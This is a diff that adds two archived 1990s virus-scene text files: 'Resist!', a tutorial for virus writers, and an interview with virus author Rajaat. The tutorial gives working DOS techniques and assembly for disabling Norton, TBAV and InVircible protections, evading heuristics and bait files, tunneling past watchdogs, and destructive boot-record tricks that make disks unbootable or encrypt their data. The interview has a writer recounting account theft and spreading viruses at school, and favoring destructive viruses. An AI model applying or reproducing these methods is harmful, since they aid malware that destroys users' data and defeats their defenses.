2400/1200/300 BPS, parity none, 1 stop bit, 8- +bit characters. + \ No newline at end of file diff --git a/textfiles.com/virus/resist.txt b/textfiles.com/virus/resist.txt new file mode 100644 index 00000000..4c0f1b4b --- /dev/null +++ b/textfiles.com/virus/resist.txt @@ -0,0 +1,575 @@ + 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴 R e s i s t ! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + 컴� Futher virus strategies 컴� + + 읕컴컴컴컴컴컴컴컴컴컴컴컴� by Mouth of Sauron 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + +Disabling AutoProtect and NAVTSR +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +One of the first antivirus programs available for Windows 95 was Norton Anti- +virus. Except for the user interface, nothing much changed. The detection ratio +and protection level is a joke. But nevertheless a lot of people use NAV(95) +and have NAVTSR or AutoProtect installed, which should protect them from +"all known and unknown" viruses. Hmmm, the Symantec advertisement is also quite +funny, all that crap about 32 bit viruses. So far, no 32 bit virus is known, +except Bizatch which was not finished when NAV95 was available in the shops. + +There are several possible ways to attack NAV, I will describe two of them +here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows you +to detect, disable and enable the VxD/TSR, similar to VSAFE (remember VSLAY?): + + +* The NAVTSR and AutoProtect API: + + - NAV 4.0 (NAV for Windows 95): + + Detect: + MOV AX,0FE00H + MOV SI,4E41H + MOV DI,4E55H + INT 2FH + + Results: + -> AX = 0 TSR not active + AX = 1 TSR active + SI = 6E61H + DI = 6E75H + + Enable: + MOV AX,0FE01H + MOV SI,4E41H + MOV DI,4E55H + INT 2FH + + Disable: + MOV AX,0FE02H + MOV SI,4E41H + MOV DI,4E55H + INT 2FH + + +The second approach is to delete the data files NAV uses to immunise files +and the boot sector. NAV puts all this data into some files which are +located in "\NCDTREE" by default, one directory for each drive. The user +could change the location of these data files, but this option is well hidden +so I guess none of these dummy users will ever change it. Well, just delete +the files in "\NCDTREE" and NAV will recreate all the data without any warning +next time it is called. + +By default, NAV doesn't scan the upper memory area (UMB) and will not detect +viruses which go resident there. It's always a good idea to use UMB for staying +resident, so use it! + + +TBAV: No changes! +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + +* Disabling TBDRIVER: + +Although the method to disable TBDRIVER (from the great TBAV antivirus +program) has been known for several months and several viruses are known +to use this trick, Thunderbyte B.V. has done nothing to protect it's product +against this attack. Up to version 6.51, the entry point code of TBDRIVER +looks the same and can be modified without problems. + +Just scan the memory for + + EB 05 (*) + EA xx xx xx xx + FA + 9C + FC + 53 + 50 + +To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK +and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is +then disabled and can't intercept your virus. Furthermore, you can get the +original INT 21h vector which is stored after the "EA" (FAR JMP). + +A good idea is to do the scanning while tracing INT 21h. When you patch the +driver at once, no trace warning will be displayed. But simple INT 1 tracing +is now quite dangerous, as there are many watchdog TSRs which intercept it. +To prevent detection by these tools, you could scan each of the MCB areas +(but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the +signature, or you can use recursive tunneling. If you don't know recursive +tunneling, take a look at ART (was released in an older VLAD magazine). +It can be done even more easily, just code emulate the most important +branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the +interrupt chain. As this is only emulation and not real single-step tracing, +it can't be intercepted. The most effective method to get the original INT 21h +vector is kernel scanning, which I will explain later in this text. + +Besides the scanner and resident watchdogs, TBAV contains a tool called +TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not +use code emulation but rather does stupid INT 1 tracing with some security +checks to prevent the virus from activating. The first virus which managed +to activate while being cleaned with TBCLEAN was Varicella, but the method +used to cheat TBCLEAN no longer works. Still, there are some ways to fool +TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h, AH=08h +INT 10h or other INT 21h API calls, stack modifications (DEC SP, INC SP) or +prefetch queue tricks to stop TBCLEAN from cleaning a file. COM infectors also +can do a quick jump back to offset 100h to stop the cleaning process, but it +is much more interesting to use TBCLEAN as a vector. TBCLEAN of course prevents +all direct manipulation of the interrupt vector area (you also can use this +to stop TBCLEAN), but obviously TBCLEAN has problems handling segment +overrides like DS: ES: and the others. + +A simple example. Try to (TB)clean this little COM program: + + mov AX,4c00h + db 2eh + int 21h + nop + +Funny, isn't it? The segment override in combination with the NOP prevents +TBCLEAN from detecting the interrupt call, which will get executed for real +now! To fully activate your virus, you could use AX=2521h (Set interrupt) +to set a new interrupt 21h routine. +Keep in mind that this override/NOP structure could be used for possible +heuristic flags, so hide it behind a layer of (polymorphic) encryption. + + +AHA - A dangerous new heuristic engine +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +Unnoticed by most virus coders, S&S added a new heuristic engine to their +already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit. +Besides it's very good hit ratios and detection of even the most polymorphic +viruses, it also causes almost no false positives. But this is also the weak +point of the heuristic. The coders' first aim was obviously for the +heuristics not to cause any false positives, and the checks it does to +prevent them are quite easy to come by. At first, the entry point of the +program must be around 200 to 4000 bytes before the end of file. Normally, +encrypted viruses look like this: + + 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + �  +旼컴컫컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴쩡컴컫컴컴컴컴컴컴컴컴컴컴커 +� 1 � 2 � 3 � 4 � +읕컴컨컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴좔컴컨컴컴컴컴컴컴컴컴컴컴켸 +(1) = Program header, now points to virus entry point at (3) +(2) = Old program code +(3) = Entry point of virus with the decryptor +(4) = Encrypted virus code + +This AHA detects without problems, but it fails to detect the same (!) virus +if it's modified like this: + + 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + �  +旼컴컫컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴쩡컴컫컴컴컴컴컴컴컴컴컴컴컫커 +� 1 � 2 � 3 � 4 �5� +읕컴컨컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴좔컴컨컴컴컴컴컴컴컴컴컴컴컨켸 +  � + 읕컴컴컴컴컴컴컴컴컴컴컴컴� +(1) = Program header, now points to virus entry point at (5) +(2) = Old program code +(3) = Real entry point of virus with the decryptor +(4) = Encrypted virus code +(5) = Simple or hidden jump to real virus start at (3) + +If the entry point lies out of the usual area, AHA thinks it's a normal +program and stops analysing it. Besides this, AHA is very susceptible to +anti-heuristic structures and it only cares about normal file infectors, +ignoring boot viruses completely. AHA also doesn't emulate the interrupt +or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop +AHA from emulating code. Stack modifications also confuse AHA, similar to +prefetch queue tricks, but as these queue tricks don't run on Pentiums, +it's no longer possible to use them. AHA is very effective at detecting +polymorphic engines which create large amounts of garbage opcode, so create +only "smooth" decryptors with your polymorphic engine. + +Slow motion +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +I already discussed slow polymorphic engines some time ago, but as this +is quite important I'm mentioning it here again. Most virus coders think +that a polymorphic engine is good when it's very variable and changes +with every infected file. This is true to some extent, but this also +allows the virus researchers to quickly analyse the engine by just creating +a few hundred files. Usually, the AV researchers get a lot of new viruses +every week and they don't have the time to fully analyse every single virus. +So, if the virus looks static after quickly infecting five or ten files, the +researcher won't do further analysis and will just add a simple scan string to +their product. This will happen if you are using a slow polymorphic engine, +or at least slow down the randomizing of it. It might be a good idea to +fetch the neccessary random factors only one time per day, at the time when +the virus goes resident for example (what, your virus is not resident? Argh!). +Also, use the system date instead of the system time to create random numbers. +If the created decryptors change only very slowly, it'll become quite difficult +to create enough representative infected bait files. + +Instead of inserting garbage opcodes, your engine should add "real" code, +which looks like useful code. Use branches (calls!) and do many time consuming +loops. An example of this is SMEG, which creates huge decryptors but the +decryption method itself is too weak. It's useless to write a polymorphic +engine which creates 2000 byte large decryptors but only uses a simple 8 bit +XOR for encryption. Consider this for your engine and use several different +encryption methods in combination. Another interesting method to fool scanners, +especially TBSCAN is to fake known file headers like PKLITE, LZEXE or TURBO C. +For example, all PKLITE compressed files always begin with: + +B8 xx xx mov AX,???? +BA xx xx mov DX,???? +05 xx xx add AX,???? +3b 06 02 00 cmp AX,[2] + +73 1a jnb Label_1 or: 72 1b jb Label_1 +2d 20 00 sub AX,20h b4 09 mov AH,9 +FA cli ba ?? ?? ba 18 01 + +If your virus begins with these harmless opcodes, TBSCAN will just report +"Looking ... > cp" and will stop scaning the file, thinking it's compressed +with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them, +but keep in mind that these are fixed strings. A polymorphic engine could +possibly fake a couple of these known file headers in order to cause confusion. + +Lastly, most code emulators don't fully emulate all interrupt 21h API +calls. So, use some of them which result in known register contents, for +example AH=52h INT 21h. This only returns a vector to the SYSVARS list in +memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2) +returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for +example by creating a simple RETF there and then FAR CALLING this address. + + +Generic Anti-Anti-Virus? +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +There were many discussions about InVircible, a generic antivirus toolkit from +NetZ Computing. The result of this was some anti-InVircible viruses which +attack it by deleting the data files, IVB.NTZ by default. Of course, it's +possible to rename this file, and one virus coder solved this by scanning +every file in the current directory for the usual IVB.NTZ file header. +Zvi Netivs' answer to One13th is to use variable file headers for IVB.NTZ, so +you can't scan for them anymore. In fact, he is faking known file headers +like EXE files and ZIP or ARJ archives. But it's still very easy to do a +generic approach in order to find the data files. The solution I present here +is very easy. When IVB.EXE starts, it checks the IV.INI configuration file +for the SIG= parameter. The little TSR following here just intercepts this +and overwrites the signature name in memory. IVB just says that it's renewing +the data file and ignores any changes done to programs! Of course, it's +possible to read out the data file name and delete it afterwards, or simply +to delete IV.INI. In this case, InVircible just uses the standard IVB.NTZ +name again. It is very important that your virus stops infecting and +stealthing files when InVircible is executed because the virus checks are +good and will most likely detect the virus, even if InVircible can't read +it's data files. + +This is just a simple TSR, not a virus! + + org 100h + +Virus_StartUp: mov ax,3521h + int 21h + mov word ptr [OldInt21],bx + mov word ptr [OldInt21+2],es + mov ah,25h + mov dx,offset NewInt21 + int 21h + mov ah,31h ;Stay resident + mov dx,(Virus_End-Virus_StartUp+100h)/10h+1 + int 21h + +NewInt21: cmp ah,3fh ;Read file access? + je l_Read +EndInt21: db 0eah ;Jump back to old int21 +OldInt21 dd 0 + +l_Read: pushf ;Read in the data + call dword ptr cs:[OldInt21] + jc l1 + pushf + or ax,ax ;Nothing read? + jz l3 + push ax + push cx + push si + mov si,dx + sub ax,4 + xchg cx,ax + cmp word ptr [si],"IS" ;'SIG='? + jne l2 + cmp word ptr [si+2],"=G" + jne l2 +l4: cmp byte ptr [si+4]," " ;Wipe signature name + jb l2 + mov byte ptr [si+4]," " + inc si + loop l4 +l2: pop si + pop cx + pop ax +l3: popf +l1: retf 2 + +Virus_End label byte + +You also might intercept the executing of IVB.EXE and add '/V' to the actual +command-line! IVB will remove all the data files on it's own... + + +Anti-Bait +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +Anti-bait routines will further improve the stealth abilities of a virus and +will keep stupid AV researchers from creating infected bait files without +problems. When an AV researcher gets a new virus, he usually creates some +samples with specific baits. Some AV companies have their own special bait +collection which they use for testing the cleaning ability of their product. +So it's quite neccessary for them to create baits. Some antivirus programs also +create baits and execute them in order to catch active viruses. It's quite +easy to avoid these bait traps if your virus doesn't infect files on +the following conditions: + +1. The executable file has the actual day, month and year set in it's file + time stamp. Baits are usually created shortly before the virus should + infect them, so this is one easy method to avoid baits. Normal programs are + usually older than one month, so this is no real problem for the virus. + It even helps the virus to stay unnoticed, as new software is usually + especially carefully screened. + +2. Do not infect files which have numbers in their file name. Baits are usually + numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they are created + using AH=5ah INT 21h (Create temporary file), whose file names also contain + numbers. + +This should be enough to prevent infecting most bait files, but there are +more things your virus could check: + +3. Store the length of file name of an infected file and don't infect the next + file if it has the same name length. This is neccessary when the AV + researcher doesn't use numbers but letters for numbering the bait files + (eg BAITA.COM, BAITB.COM, BAITC.COM). + +4. As 3. doesn't work if only one bait file is created, you could further check + if the file is located in the root directory. A lot of antivirus programs + create their files in the root directory of the actual drive, or use C:\. + You check this by checking the file name for the amount of '\'s. Skip + files which only have one '\' in their name, that's all. You might need + to exclude COMMAND.COM from this check if you still want to infect it. + +5. A very powerful method to avoid baits is to add a timer function which + prevents the virus from infecting files in a short interval. Just set this + timer to 1-10 minutes and creating large amounts of baits will become a big + problem. It might also be funny to add a timer which will add a pause after + the virus activation and keep the virus from infecting files too soon. + The larger variants of Sirius.Alive use this. + +Keep in mind that the AV researcher can't patch the virus in order to remove +these checks. They need unmodified versions of the virus and can't avoid all +this anti-bait stuff. + + +Armoured boot viruses +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +Boot viruses are the most common viruses in the world. Viruses like Monkey, +Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible +for almost 90 percent of all infections world-wide. By now, most users know +the 'undocumented' FDISK parameter '/MBR' which will replace the partition +sector loader code with the standard DOS code, removing a virus from the +partition sector. This works fine with almost all viruses, but with Monkey +a new infection scheme was introduced which will cause total loss of data +when the user tries to use 'FDISK /MBR'. All methods described below require +that the virus is resident and has full stealth abilities or the system will +halt at the next reboot. Monkey uses a simple trick: it not only infects the +partition code but changes the master boot record at offset 1BEh to an invalid +partition record. If you boot the system from a clean disk, the virus is gone +and you can't access the hard disk anymore from DOS! Some stupid AV programs +still can't handle this situation and refuse to scan the hard disk, not being +able to detect or clean the virus now! If you now use FDISK, it will overwrite +and remove the virus, but will keep the invalid partition record. +The second method is quite unknown but just a simple improvement of the first +one. And it's quite surprising for the unskilled user! To make it short: +Just scan the partition record for the active partition entry (the one which +is flagged with 80h), change it's type to EXTENDED (05h) and set the start +cylinder/head/sector to 0/0/1. This causes an endless loop when you try to +boot from a clean disk. The system just hangs up and it's not possible to +boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug, +only IBM-DOS will finish the boot sequence, but as the partition record is +invalid, you will only get 'Invalid drive C:' if you try to access the hard +disk. So far, only a Gingerbread variant uses this trick, but it's very easy +to add this feature to a boot virus and most people use MS-DOS, so why not +use it? +The third method is much more troublesome and causes real problems if +it's not coded correctly. The idea is to encrypt the whole hard disk data +area, like Onehalf does. Of course you can't encrypt the whole hard disk at +once (a virus that needs hours to install seems very obvious to me...), +but instead encrypt just a few sectors, starting at the beginning or end of the +hard disk data area. Most AV programs can clean Onehalf now, but they only +remove the virus from the partition and clean the files, but don't decrypt +the hard disk. At last, use variable encryption when storing the original +partition sector. Some AV programs scan the whole hard disk for those copies +and use them for cleaning. Some programs can even rebuild the partition record +if it's completely wiped and only the boot sectors are available. So it might +be a good idea to encrypt them too. + + +Some comments about file infection +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +A lot of resident watchdogs heavily rely on INT 2Ah while intercepting system +calls. Every time a INT 21h API call is done, the DOS kernel calls INT 2Ah +with AH=80h after the INT 21h API call has finished. DOS doesn't call INT 2Ah +after every function, but after all API calls which are necessary for viruses. +By intercepting INT 2Ah and determining the original registers the watchdog +can easily bypass and detect the virus! So it's a good idea to set INT 2Ah to +a do-nothing handler while infecting files. Like INT 24h, just set it to an +IRET opcode. This will leave a few AV watchdogs powerless, for example the +AVP TSR or PCRX use this method to intercept system calls. + +Some stupid AV watchdogs even do a primitive handle check before doing +further checks to the file handle. They only care about handles which are +equal or higher than 5 (they just do a stupid BX>=5 check instead of using +IOCTL). Normally, all handles below 5 are system handles and are occupied by +PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h +(Duplicate file handle) you can copy such a system handle to a higher handle, +close it and reopen the target file. This new handle will then be a low handle, +and a lot of watchdogs will ignore file modifications which are done while +using this handle. After infecting the file, just copy back the system handle +from the higher location to the still opened lower handle. + +More comments about interrupt usage +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +Of course all of you know how to disable VSAFE in memory, using it's own API. +But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove VSAFE +because now some AV watchdogs intercept this special call and will block your +virus! VSAFE by itself never uses this call directly, so only viruses can be +the reason for such a call. It's much more efficient to use recursive tunneling +or kernel scanning to bypass this stupid watchdog. + +Don't use things like + + mov AX,0deadh + int 21h + cmp AX,0acdch + je Virus_Installed + +for determining if your virus is already active! First of all, TBSCAN and +other heuristic tools will detect this at once as a virus structure and +some AV watchdogs will intercept any strange INT 21 function in order to catch +resident viruses while they install themselves in memory. Instead, use some +'normal' functions like AH=30h. For example, it's much harder to intercept: + + mov AX,3096h + mov SI,1996h + mov DI,1996h + int 21h + cmp AL,3 + jne No_Virus + cmp SI,1997h + jne No_Virus + cmp DI,1997h + je Virus_Installed + +The watchdog TSR now can't distinguish between a normal DOS version check +and a virus are-you-there call. + +Or you could add more checks like a special SP range if your virus infects +EXE only. If the virus always installs a new SP from 200h to 220h, don't +react to self-check calls if the SP range is invalid. Some AV programs call +all the known virus 'are-you-there' calls in order to detect the presence of +a virus. + +Don't use simple INT 1 tracing! Almost every quality AV watchdog will intercept +this (or it's absolutely worthless). Ita much better to use recursive tunneling +or kernel scanning. Kernel scanning is very easy. The approach I now explain +will work with MS-DOS and IBM-DOS when the DOS kernel is in the HMA, but +it's easy enough to find the entry point when DOS is loaded low (for example +when the user pressed F5 while booting). + +The first thing you need is the DOS data segment. You can get it by calling +AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for +the following structures: + + 90 nop + 90 nop + E8 ?? 00 call A20_Check + 2E FF 2E xx xx jmp far CS:[xxxx] + 90 nop + 90 nop + ... + +There's a whole bunch of these calls, so after detecting the first one skip +14h bytes in order to get the INT 21h entry point. Now you might patch this +code fragment directly or further trace the JMP FAR into the HMA. + +You could also scan the HMA directly, just search for: + + FA cli + 80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h) + 77 ?? ja ?? (in fact, these 7x calls are used for + 80 FC 33 cmp AH,33h long file name access and drive locking) + 72 ?? jc ?? + 74 ?? jz ?? + 80 Fc 64 cmp AH,64h + ... + +This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry +point is at FF06h:41E7h), and don't forget to enable the HMA before scanning +this area. The simplest way to enable the HMA is to call a do-nothing INT 21h +like GET DATE. + +A more interesting way to get the original INT 21h entry point is recursive +tunneling. Instead of using the CPU single step mode you could emulate the +most important jump operands and trace trought the interrupt chain. Unlike +real tracing, this can't be intercepted by a watchdog. The only countermeasure +is to add some traps in the watchdog code which the recursive tunneler can't +emulate. Recursive tunneling is quite easy to do, just get the actual INT 21h +vector and scan the area around this entry point for instructions like + + 2E FF 2E xx xx jmp far CS:[xxxx] + + 2E FF 1E xx xx call far CS:[xxxx] + + 9A xx xx yy yy call far yyyy:xxxx + + EA xx xx yy yy jmp far yyyy:xxxx + +Of course it's neccessary to check if the destination vector is valid. Just +scanning for EAh or 9Ah is quite uncertain, so instead you should scan for +9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI +which are often used before returning to the old INT 21 vector). It also +might be a good idea to emulate SHORT or NEAR JMPs, especially when they are +the first instruction at the entry point of the INT 21h vector. +It's a good idea to do some AV watchdog scanning while tracing with the +recursive tunneler and patch the TSR code in memory. + +If you need the original INT 2Fh entry point, for example if you use AH=13h +INT 2Fh and don't want that your undocumented INT 2F call to be intercepted +just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS, +DOS places a FAR JMP at this location which can be used to get a secure +INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You should +check the this vector before using it, normally it points to a JMP FAR +instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h) +which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this +directly points into the HMA (segment above F8xxh). If you need to access the +HMA without a watchdog being able to intercept this call scan the HMA +for: + FB sti + 80 FC 11 cmp AH,11 + 75 0A jnz l1 + 0A C0 or AL,AL + 74 03 jz l2 + E8 DC FF call l3 + CA 02 00 retf 2 + 80 FC 10 cmp AH,10 + +This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and +AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA +before scanning the area at F800:xxxx, but usually the HMA is already active +if you called an INT 21h beforehand. + +When your virus is a full file stealth virus, you should consider adding SFT +stealth. It's quite useless to hide the true file length at AX=4202 INT 21h +when the AV program can bypass the virus by checking the file SFT entry. +SFT stealth is quite easy to code, directly after opening an infected file +reduce the file length in the SFT entry of that file and mask the file date/ +time stamp if your virus use an illegal time stamp to mark infected files. +This causes no problems unless a program tries to write to such a modified +handle. To prevent FAT corruption you should then return the SFT to it's former +state when a AH=40h INT 21h is called. To recognise a modified handle you maybe +could use the SFT vector as an ID. It's not necessary to fix the handle before +it's closed when no changes were done to the file. Besides having a better +stealth cover, the virus no longer needs to intercept AX=4202 INT 21h in +order to prevent reading from the true file end. Only AH=3Fh INT 21h has to +be intercepted, and only in the case that a program tries to read in the +modified file header. + + diff --git a/textfiles.com/virus/rjinterv.iew b/textfiles.com/virus/rjinterv.iew new file mode 100644 index 00000000..4733f0ae --- /dev/null +++ b/textfiles.com/virus/rjinterv.iew @@ -0,0 +1,649 @@ +Interactive interview with Rajaat +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + +I found Rajaat at some .uk address while chatting on IRC. Since I at that +time had plans for releasing issue #7 and needed to fatten up it a bit, so +I asked for an interview and he agreed on doing one. While talking, it turned +out to be a very large interview, and I think it became more of a +conversation. + +Since this interview was done, several interesting things that you should +be aware of has happend with this character. Some things written here +isn't correct anymore. Most important to be aware of is that Rajaat is +a member of a new viruswriting group known as Genesis. Genesis aim for +quality, and I'm happy to see that Rajaat is not a loner anymore and have +find a group in where he really belongs. You saw tb_bug by Rhincewind/Vlad +and Rajaat? Well, you've seen nothing yet.. + +This article has been edit by me to keep it as "clean" as possible. +There you go.. + +TU = The Unforgiven +RA = Rajaat + + +TU> You probably have read a few of our old interview's with a few other + (fame) scene-guys, so, prepere for the same kinda questions as for + starters.. . . 'Introduce yourself to the readers. . ' + +RA> I'm Rajaat, a newcomer in the virus scene and I hope to stay longer in here + than all other virus writers from the UK, like ARCV and Black Baron. + +TU> Yea, we can always hope so :). Do you have a question you would like me + to ask because I don't have too much information about you (except from + what I could obtain from your viruses/engines released)? + +RA> Heh, you can always ask me why I started to write viruses or how I got + involved in writing these things.. + +TU> Yea, ok. Let's take the normal questions as for now, and then I might know + you better after a while :). So, why did you start write these kinda + programs? + +RA> Eh, as long as the feds don't get to know me better! HAHAHA! The reason I + write these viruses is simply I got nothing better to do. After some + incident I got kicked out of college and hanging out on the streets sucks, + so I better stick to programming. + +TU> Any specific reason to you were kicked out from school? + +RA> Yea... :) It had to do with some account stealing (from other students) and + releasing a virus in their directory (and infected their programming + projects), that the teachers had to check (at home, eventually). HAHA + These stupid goofs got fucked over so they couldn't judge us.. + +TU> How did you got caught in the first place? + +RA> I was one of the few assembler programmers there and ofcourse my programs + weren't infected :) And they found a list with hacked passwords in my + drawer. + +TU> Ah, okay, I see. . You said you had nothing better to do than to write + viruses but why didn't you instead start to program something useful. Then + people would appreciate your programs instead of being scared of them? + +RA> I can't think of anything useful, most utilities are being written already. + And, like you, there are people that like viruses. + +TU> I don't like viruses, what makes you think that? ;) + +RA> Why would you otherwise write Insane Reality? Or is it something you just + have to? I just like to program them, it's a challenge. + +TU> Now, you're the one asking questions :). So, let's continue. . . From where + did you got your handle "Rajaat" ? + +RA> If people know Advanced Dungeons and Dragons (a role playing game) they + also might know the Dark Sun world. Rajaat is the one that invented sorcery + there and he is the creator of the Champions, like Andropinis. + +TU> Oh, I see. Has AD&D or role-playing in general influent you in any way when + it comes to writing viruses? + +RA> No, I just use the names to give my children (the viruses) a name, nothing + more and nothing less. + +TU> Isn't it kinda pervert to refer your viruses as your children? + +RA> No, see it like this: I created them, I'm the father. I use Turbo Assembler + and you can consider it the mother, ah, I don't know, but I feel like I am + the father of them. + +TU> Ok, I've heared stories about the viruswriters refering their computer + to be their girlfriend and the virus is a result of love between the + writer and the computer :). But that is another story, so is this also + your motivation to write viruses, to create life and alternative lifeforms? + +RA> No, I just do it out of boredom. I can't think of any useful programs to + write and writing viruses may bring fame to me, and the UK needs a boost + I think. It has been quite silent in here for a time. + +TU> Hmm, think you already said that :). Yea, aren't you btw afraid to get + caught by Dr.Solly and Scotland Yard computer-crime division or so? + +RA> Ofcourse I am, but that will not stop me. I am hard to trace, because I + don't be on #virus but a more general channel and not even using the name + Rajaat. Furthermore the viruses I spread on school weren't made by me, so + that should give them a hard time to find out. + +TU> Which viruses did you spread anyways? + +RA> The ones that are already very common, like Junkie and Tai-Pan. + +TU> Funny, consider both of them are swedish viruses :). Hmmm, which kinda + virus do you like (a few examples maybe) and which virus-writers do you + look up to? + +RA> Er... I don't have many examples, but I like the viruses of Qark (to whom I + send Andropinis (anonymously)) and of Priest, but apperently he quitted + virus writing. I don't have many idols, because I don't want to influence + my programming with other techniques. + +TU> Haven't you considred joining (or forming) a virus-writing group? + +RA> Yes, I wanted to join VLAD, but the danger is that the more people do know + me, the more chance I have to get caught in the end. It's better that I do + contributions to various magazines using a anonymous account. I don't care + if I work alone or not. + +TU> Yea, that seems to be a smart move. Hmmm, how about contributing some new + virus of yours to this issue as well? + +RA> Sounds good. I still have some stealth bootsector virus here somewhere on + my disk. I will comment it a little more and then DCC it to you, ok? + +TU> Yea, send it to tuir@fotd.mcn.ru. What's your policy about destructive + viruses, and how do you define destructive viruses? + +RA> My opinion is that a virus gets more attention if it's destructive. + +TU> I saw a polymorphic engine by you btw (Thanks for the greetings!), say, + what kinda questions can I ask about that? + +RA> Hmmmm.. I don't really know, it's not very polymorphic and should be easy + to crack, but it was just made to make it impossible to use a scan string + for a virus. I just used it myself once and that's it. I don't know if + there are other viruses that use it. Maybe I will write one engine for + polymorphic bootsector viruses HAHAHA! + +TU> How to detect it then, with cryptoanalyze or something like that (or have + you written detection for it yourself)? + +RA> You can use cryptanalysis for it and it's also possible to trace the + decryptor, like TBAV does. It's just that they have to do something more + than usual to detect it. I think the better AV'ers will have no problem + detecting it. + +TU> Yea, stupid question of myne btw, I already knew that :). Hmm, which engine + do you like the most? Hmm, know this (also) is a kinda stupid question to + ask since it's like 25 (or so?) engines out there and nearly none of them + is released with source-codes making it exteremly time-consuming to make a + depth-in study of them all.. + +RA> I never bothered to look at them closely, indeed. The ones I liked however + are DAME (of Dark Angel), the engine in Natas, the engine in Level_3 and + TPE 1.4, but I don't have the source code of the last mentioned. + +TU> Yea, so, why didn't you released the source-code to your engine? + +RA> Nobody would use it, though. I think I will clean up the comments and send + it to you sometime, I don't know. RTFM seems finished to me, and + continueing it seems a waste of time to me. + +TU> Ok, enuff about polymorphism as for now :). How would you descibe the + perfect virus? + +RA> A virus that takes to much time to detect (by a scanner) that it better can + be discarded from it. ;) I don't think there will be the "ultimate" virus. + +TU> Yea, polymorphism might be a step toward the right direction, but it's + still far from the final solution. + +RA> The engines of today prevent easy recognition, but they lack the protective + mechanisms that are needed to conceal the virus from debugging. + +TU> So, you think an utility that would support stealth, advanced-polymorpism, + retro-functions of any kind would be a logical step to do? + +RA> No. I don't believe in stealth techniques very much, except for bootsector + and partition record infections. File stealth is too "fragile" to do. I + believe in polymorphic engines than also generate polymorhic anti-trace + routines, like the Ultimute engine, but more advanced. + +TU> Hm, retro-functions and polymoprism might fuck the AV'ers and the + researchers up, but for the normal user (the one's who get struck with a + virus) it won't really matter. If they notice a virus they won't remove + (or debug) it themself anyway (not in most cases that is). Then - stealth + might be better for spreading purposes because they won't detect it in + ages. . Like with Natas or a virus of that capacity. How easy is that do + detect for the average Jow-Blow? + +RA> Hmmmm, I still don't like it. Look for example at Andropinis. It's very + easy to detect in .COM files, but there is also the MBR infection that is + stealth indeed. If I have to use stealth on files, it would probably only + hide the file size and I would not bother to write a heap of code just to + make it also full stealth. (* Full stealth = disinfection/redirection on + files as well, - ED *) + +TU> The package you described above called "Ultimute engine" which Stormbringer + (read: Black Wolf) wrote, what does it do? + +RA> Oh, I didn't knew Black Wolf = Stormbringer! It's an engine that generates + a decryptor peppered with some antidebugger tricks, but the way he did it + can't stop the people who know debugging/tracing tricks well. I have a few + ideas, but I don't know if I will make such an engine, but it's on my + "to do" list. + +TU> What ideas? Or is this private information? :) + +RA> I'll tell you when the product is finished, I don't want to reveal anything + until it's ready, as with my virus project I am working on. + +TU> Ok, how about ART (Antigen's Radical Tunneler), any comments about it? + +RA> I've looked at it and it looks very nice, but I won't use other peoples + code in my viruses. I rather bother to make an own tunneler instead. 